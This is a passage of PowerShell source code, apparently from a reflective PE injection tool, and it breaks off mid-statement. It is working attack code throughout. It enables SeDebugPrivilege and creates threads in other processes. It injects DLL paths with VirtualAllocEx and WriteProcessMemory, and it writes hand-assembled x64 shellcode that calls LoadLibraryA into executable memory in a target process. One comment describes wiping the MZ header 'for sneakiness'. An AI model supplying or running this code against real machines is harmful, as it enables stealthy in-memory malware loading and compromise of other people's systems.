-MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue 709 | 710 | $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf 711 | $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) 712 | $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) 713 | $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf 714 | 715 | # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP 716 | if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) { 717 | $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx 718 | $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) 719 | $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) 720 | $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx 721 | } 722 | 723 | $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process 724 | $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) 725 | $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) 726 | $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process 727 | 728 | $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread 729 | $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) 730 | $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) 731 | $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread 732 | 733 | return $Win32Functions 734 | } 735 | ##################################### 736 | 737 | 738 | ##################################### 739 | ########### HELPERS ############ 740 | ##################################### 741 | 742 | #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function 743 | #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses 744 | Function Sub-SignedIntAsUnsigned 745 | { 746 | Param( 747 | [Parameter(Position = 0, Mandatory = $true)] 748 | [Int64] 749 | $Value1, 750 | 751 | [Parameter(Position = 1, Mandatory = $true)] 752 | [Int64] 753 | $Value2 754 | ) 755 | 756 | [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) 757 | [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) 758 | [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) 759 | 760 | if ($Value1Bytes.Count -eq $Value2Bytes.Count) 761 | { 762 | $CarryOver = 0 763 | for ($i = 0; $i -lt $Value1Bytes.Count; $i++) 764 | { 765 | $Val = $Value1Bytes[$i] - $CarryOver 766 | #Sub bytes 767 | if ($Val -lt $Value2Bytes[$i]) 768 | { 769 | $Val += 256 770 | $CarryOver = 1 771 | } 772 | else 773 | { 774 | $CarryOver = 0 775 | } 776 | 777 | 778 | [UInt16]$Sum = $Val - $Value2Bytes[$i] 779 | 780 | $FinalBytes[$i] = $Sum -band 0x00FF 781 | } 782 | } 783 | else 784 | { 785 | Throw "Cannot subtract bytearrays of different sizes" 786 | } 787 | 788 | return [BitConverter]::ToInt64($FinalBytes, 0) 789 | } 790 | 791 | 792 | Function Add-SignedIntAsUnsigned 793 | { 794 | Param( 795 | [Parameter(Position = 0, Mandatory = $true)] 796 | [Int64] 797 | $Value1, 798 | 799 | [Parameter(Position = 1, Mandatory = $true)] 800 | [Int64] 801 | $Value2 802 | ) 803 | 804 | [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) 805 | [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) 806 | [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) 807 | 808 | if ($Value1Bytes.Count -eq $Value2Bytes.Count) 809 | { 810 | $CarryOver = 0 811 | for ($i = 0; $i -lt $Value1Bytes.Count; $i++) 812 | { 813 | #Add bytes 814 | [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver 815 | 816 | $FinalBytes[$i] = $Sum -band 0x00FF 817 | 818 | if (($Sum -band 0xFF00) -eq 0x100) 819 | { 820 | $CarryOver = 1 821 | } 822 | else 823 | { 824 | $CarryOver = 0 825 | } 826 | } 827 | } 828 | else 829 | { 830 | Throw "Cannot add bytearrays of different sizes" 831 | } 832 | 833 | return [BitConverter]::ToInt64($FinalBytes, 0) 834 | } 835 | 836 | 837 | Function Compare-Val1GreaterThanVal2AsUInt 838 | { 839 | Param( 840 | [Parameter(Position = 0, Mandatory = $true)] 841 | [Int64] 842 | $Value1, 843 | 844 | [Parameter(Position = 1, Mandatory = $true)] 845 | [Int64] 846 | $Value2 847 | ) 848 | 849 | [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) 850 | [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) 851 | 852 | if ($Value1Bytes.Count -eq $Value2Bytes.Count) 853 | { 854 | for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) 855 | { 856 | if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) 857 | { 858 | return $true 859 | } 860 | elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) 861 | { 862 | return $false 863 | } 864 | } 865 | } 866 | else 867 | { 868 | Throw "Cannot compare byte arrays of different size" 869 | } 870 | 871 | return $false 872 | } 873 | 874 | 875 | Function Convert-UIntToInt 876 | { 877 | Param( 878 | [Parameter(Position = 0, Mandatory = $true)] 879 | [UInt64] 880 | $Value 881 | ) 882 | 883 | [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) 884 | return ([BitConverter]::ToInt64($ValueBytes, 0)) 885 | } 886 | 887 | 888 | Function Get-Hex 889 | { 890 | Param( 891 | [Parameter(Position = 0, Mandatory = $true)] 892 | $Value #We will determine the type dynamically 893 | ) 894 | 895 | $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2 896 | $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first. 897 | 898 | return $Hex 899 | } 900 | 901 | 902 | Function Test-MemoryRangeValid 903 | { 904 | Param( 905 | [Parameter(Position = 0, Mandatory = $true)] 906 | [String] 907 | $DebugString, 908 | 909 | [Parameter(Position = 1, Mandatory = $true)] 910 | [System.Object] 911 | $PEInfo, 912 | 913 | [Parameter(Position = 2, Mandatory = $true)] 914 | [IntPtr] 915 | $StartAddress, 916 | 917 | [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] 918 | [IntPtr] 919 | $Size 920 | ) 921 | 922 | [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) 923 | 924 | $PEEndAddress = $PEInfo.EndAddress 925 | 926 | if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) 927 | { 928 | Throw "Trying to write to memory smaller than allocated address range. $DebugString" 929 | } 930 | if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) 931 | { 932 | Throw "Trying to write to memory greater than allocated address range. $DebugString" 933 | } 934 | } 935 | 936 | 937 | Function Write-BytesToMemory 938 | { 939 | Param( 940 | [Parameter(Position=0, Mandatory = $true)] 941 | [Byte[]] 942 | $Bytes, 943 | 944 | [Parameter(Position=1, Mandatory = $true)] 945 | [IntPtr] 946 | $MemoryAddress 947 | ) 948 | 949 | for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) 950 | { 951 | [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) 952 | } 953 | } 954 | 955 | 956 | #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ 957 | Function Get-DelegateType 958 | { 959 | Param 960 | ( 961 | [OutputType([Type])] 962 | 963 | [Parameter( Position = 0)] 964 | [Type[]] 965 | $Parameters = (New-Object Type[](0)), 966 | 967 | [Parameter( Position = 1 )] 968 | [Type] 969 | $ReturnType = [Void] 970 | ) 971 | 972 | $Domain = [AppDomain]::CurrentDomain 973 | $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') 974 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) 975 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) 976 | $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 977 | $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) 978 | $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') 979 | $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) 980 | $MethodBuilder.SetImplementationFlags('Runtime, Managed') 981 | 982 | Write-Output $TypeBuilder.CreateType() 983 | } 984 | 985 | 986 | #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ 987 | Function Get-ProcAddress 988 | { 989 | Param 990 | ( 991 | [OutputType([IntPtr])] 992 | 993 | [Parameter( Position = 0, Mandatory = $True )] 994 | [String] 995 | $Module, 996 | 997 | [Parameter( Position = 1, Mandatory = $True )] 998 | [String] 999 | $Procedure 1000 | ) 1001 | 1002 | # Get a reference to System.dll in the GAC 1003 | $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | 1004 | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } 1005 | $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') 1006 | # Get a reference to the GetModuleHandle and GetProcAddress methods 1007 | $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') 1008 | $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') 1009 | # Get a handle to the module specified 1010 | $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) 1011 | $tmpPtr = New-Object IntPtr 1012 | $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) 1013 | 1014 | # Return the address of the function 1015 | Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) 1016 | } 1017 | 1018 | 1019 | Function Enable-SeDebugPrivilege 1020 | { 1021 | Param( 1022 | [Parameter(Position = 1, Mandatory = $true)] 1023 | [System.Object] 1024 | $Win32Functions, 1025 | 1026 | [Parameter(Position = 2, Mandatory = $true)] 1027 | [System.Object] 1028 | $Win32Types, 1029 | 1030 | [Parameter(Position = 3, Mandatory = $true)] 1031 | [System.Object] 1032 | $Win32Constants 1033 | ) 1034 | 1035 | [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() 1036 | if ($ThreadHandle -eq [IntPtr]::Zero) 1037 | { 1038 | Throw "Unable to get the handle to the current thread" 1039 | } 1040 | 1041 | [IntPtr]$ThreadToken = [IntPtr]::Zero 1042 | [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) 1043 | if ($Result -eq $false) 1044 | { 1045 | $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 1046 | if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) 1047 | { 1048 | $Result = $Win32Functions.ImpersonateSelf.Invoke(3) 1049 | if ($Result -eq $false) 1050 | { 1051 | Throw "Unable to impersonate self" 1052 | } 1053 | 1054 | $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) 1055 | if ($Result -eq $false) 1056 | { 1057 | Throw "Unable to OpenThreadToken." 1058 | } 1059 | } 1060 | else 1061 | { 1062 | Throw "Unable to OpenThreadToken. Error code: $ErrorCode" 1063 | } 1064 | } 1065 | 1066 | [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) 1067 | $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) 1068 | if ($Result -eq $false) 1069 | { 1070 | Throw "Unable to call LookupPrivilegeValue" 1071 | } 1072 | 1073 | [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) 1074 | [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) 1075 | $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) 1076 | $TokenPrivileges.PrivilegeCount = 1 1077 | $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) 1078 | $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED 1079 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) 1080 | 1081 | $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) 1082 | $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value 1083 | if (($Result -eq $false) -or ($ErrorCode -ne 0)) 1084 | { 1085 | #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set 1086 | } 1087 | 1088 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) 1089 | } 1090 | 1091 | 1092 | Function Create-RemoteThread 1093 | { 1094 | Param( 1095 | [Parameter(Position = 1, Mandatory = $true)] 1096 | [IntPtr] 1097 | $ProcessHandle, 1098 | 1099 | [Parameter(Position = 2, Mandatory = $true)] 1100 | [IntPtr] 1101 | $StartAddress, 1102 | 1103 | [Parameter(Position = 3, Mandatory = $false)] 1104 | [IntPtr] 1105 | $ArgumentPtr = [IntPtr]::Zero, 1106 | 1107 | [Parameter(Position = 4, Mandatory = $true)] 1108 | [System.Object] 1109 | $Win32Functions 1110 | ) 1111 | 1112 | [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero 1113 | 1114 | $OSVersion = [Environment]::OSVersion.Version 1115 | #Vista and Win7 1116 | if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) 1117 | { 1118 | #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" 1119 | $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) 1120 | $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 1121 | if ($RemoteThreadHandle -eq [IntPtr]::Zero) 1122 | { 1123 | Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" 1124 | } 1125 | } 1126 | #XP/Win8 1127 | else 1128 | { 1129 | #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" 1130 | $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) 1131 | } 1132 | 1133 | if ($RemoteThreadHandle -eq [IntPtr]::Zero) 1134 | { 1135 | Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop 1136 | } 1137 | 1138 | return $RemoteThreadHandle 1139 | } 1140 | 1141 | 1142 | 1143 | Function Get-ImageNtHeaders 1144 | { 1145 | Param( 1146 | [Parameter(Position = 0, Mandatory = $true)] 1147 | [IntPtr] 1148 | $PEHandle, 1149 | 1150 | [Parameter(Position = 1, Mandatory = $true)] 1151 | [System.Object] 1152 | $Win32Types 1153 | ) 1154 | 1155 | $NtHeadersInfo = New-Object System.Object 1156 | 1157 | #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness 1158 | $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) 1159 | 1160 | #Get IMAGE_NT_HEADERS 1161 | [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) 1162 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr 1163 | $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) 1164 | 1165 | #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. 1166 | if ($imageNtHeaders64.Signature -ne 0x00004550) 1167 | { 1168 | throw "Invalid IMAGE_NT_HEADER signature." 1169 | } 1170 | 1171 | if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') 1172 | { 1173 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 1174 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true 1175 | } 1176 | else 1177 | { 1178 | $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) 1179 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 1180 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false 1181 | } 1182 | 1183 | return $NtHeadersInfo 1184 | } 1185 | 1186 | 1187 | #This function will get the information needed to allocated space in memory for the PE 1188 | Function Get-PEBasicInfo 1189 | { 1190 | Param( 1191 | [Parameter( Position = 0, Mandatory = $true )] 1192 | [Byte[]] 1193 | $PEBytes, 1194 | 1195 | [Parameter(Position = 1, Mandatory = $true)] 1196 | [System.Object] 1197 | $Win32Types 1198 | ) 1199 | 1200 | $PEInfo = New-Object System.Object 1201 | 1202 | #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. 1203 | [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) 1204 | [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null 1205 | 1206 | #Get NtHeadersInfo 1207 | $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types 1208 | 1209 | #Build a structure with the information which will be needed for allocating memory and writing the PE to memory 1210 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) 1211 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) 1212 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) 1213 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) 1214 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) 1215 | 1216 | #Free the memory allocated above, this isn't where we allocate the PE to memory 1217 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) 1218 | 1219 | return $PEInfo 1220 | } 1221 | 1222 | 1223 | #PEInfo must contain the following NoteProperties: 1224 | # PEHandle: An IntPtr to the address the PE is loaded to in memory 1225 | Function Get-PEDetailedInfo 1226 | { 1227 | Param( 1228 | [Parameter( Position = 0, Mandatory = $true)] 1229 | [IntPtr] 1230 | $PEHandle, 1231 | 1232 | [Parameter(Position = 1, Mandatory = $true)] 1233 | [System.Object] 1234 | $Win32Types, 1235 | 1236 | [Parameter(Position = 2, Mandatory = $true)] 1237 | [System.Object] 1238 | $Win32Constants 1239 | ) 1240 | 1241 | if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) 1242 | { 1243 | throw 'PEHandle is null or IntPtr.Zero' 1244 | } 1245 | 1246 | $PEInfo = New-Object System.Object 1247 | 1248 | #Get NtHeaders information 1249 | $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types 1250 | 1251 | #Build the PEInfo object 1252 | $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle 1253 | $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) 1254 | $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) 1255 | $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) 1256 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) 1257 | 1258 | if ($PEInfo.PE64Bit -eq $true) 1259 | { 1260 | [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) 1261 | $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr 1262 | } 1263 | else 1264 | { 1265 | [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) 1266 | $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr 1267 | } 1268 | 1269 | if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) 1270 | { 1271 | $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' 1272 | } 1273 | elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) 1274 | { 1275 | $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' 1276 | } 1277 | else 1278 | { 1279 | Throw "PE file is not an EXE or DLL" 1280 | } 1281 | 1282 | return $PEInfo 1283 | } 1284 | 1285 | 1286 | Function Import-DllInRemoteProcess 1287 | { 1288 | Param( 1289 | [Parameter(Position=0, Mandatory=$true)] 1290 | [IntPtr] 1291 | $RemoteProcHandle, 1292 | 1293 | [Parameter(Position=1, Mandatory=$true)] 1294 | [IntPtr] 1295 | $ImportDllPathPtr 1296 | ) 1297 | 1298 | $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) 1299 | 1300 | $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) 1301 | $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) 1302 | $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) 1303 | if ($RImportDllPathPtr -eq [IntPtr]::Zero) 1304 | { 1305 | Throw "Unable to allocate memory in the remote process" 1306 | } 1307 | 1308 | [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero 1309 | $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) 1310 | 1311 | if ($Success -eq $false) 1312 | { 1313 | Throw "Unable to write DLL path to remote process memory" 1314 | } 1315 | if ($DllPathSize -ne $NumBytesWritten) 1316 | { 1317 | Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" 1318 | } 1319 | 1320 | $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") 1321 | $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes 1322 | 1323 | [IntPtr]$DllAddress = [IntPtr]::Zero 1324 | #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address 1325 | # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. 1326 | if ($PEInfo.PE64Bit -eq $true) 1327 | { 1328 | #Allocate memory for the address returned by LoadLibraryA 1329 | $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) 1330 | if ($LoadLibraryARetMem -eq [IntPtr]::Zero) 1331 | { 1332 | Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" 1333 | } 1334 | 1335 | 1336 | #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) 1337 | $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) 1338 | $LoadLibrarySC2 = @(0x48, 0xba) 1339 | $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) 1340 | $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) 1341 | 1342 | $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) 1343 | $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) 1344 | $SCPSMemOriginal = $SCPSMem 1345 | 1346 | Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem 1347 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) 1348 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) 1349 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 1350 | Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem 1351 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) 1352 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) 1353 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 1354 | Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem 1355 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) 1356 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) 1357 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 1358 | Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem 1359 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) 1360 | 1361 | 1362 | $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) 1363 | if ($RSCAddr -eq [IntPtr]::Zero) 1364 | { 1365 | Throw "Unable to allocate memory in the remote process for shellcode" 1366 | } 1367 | 1368 | $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, 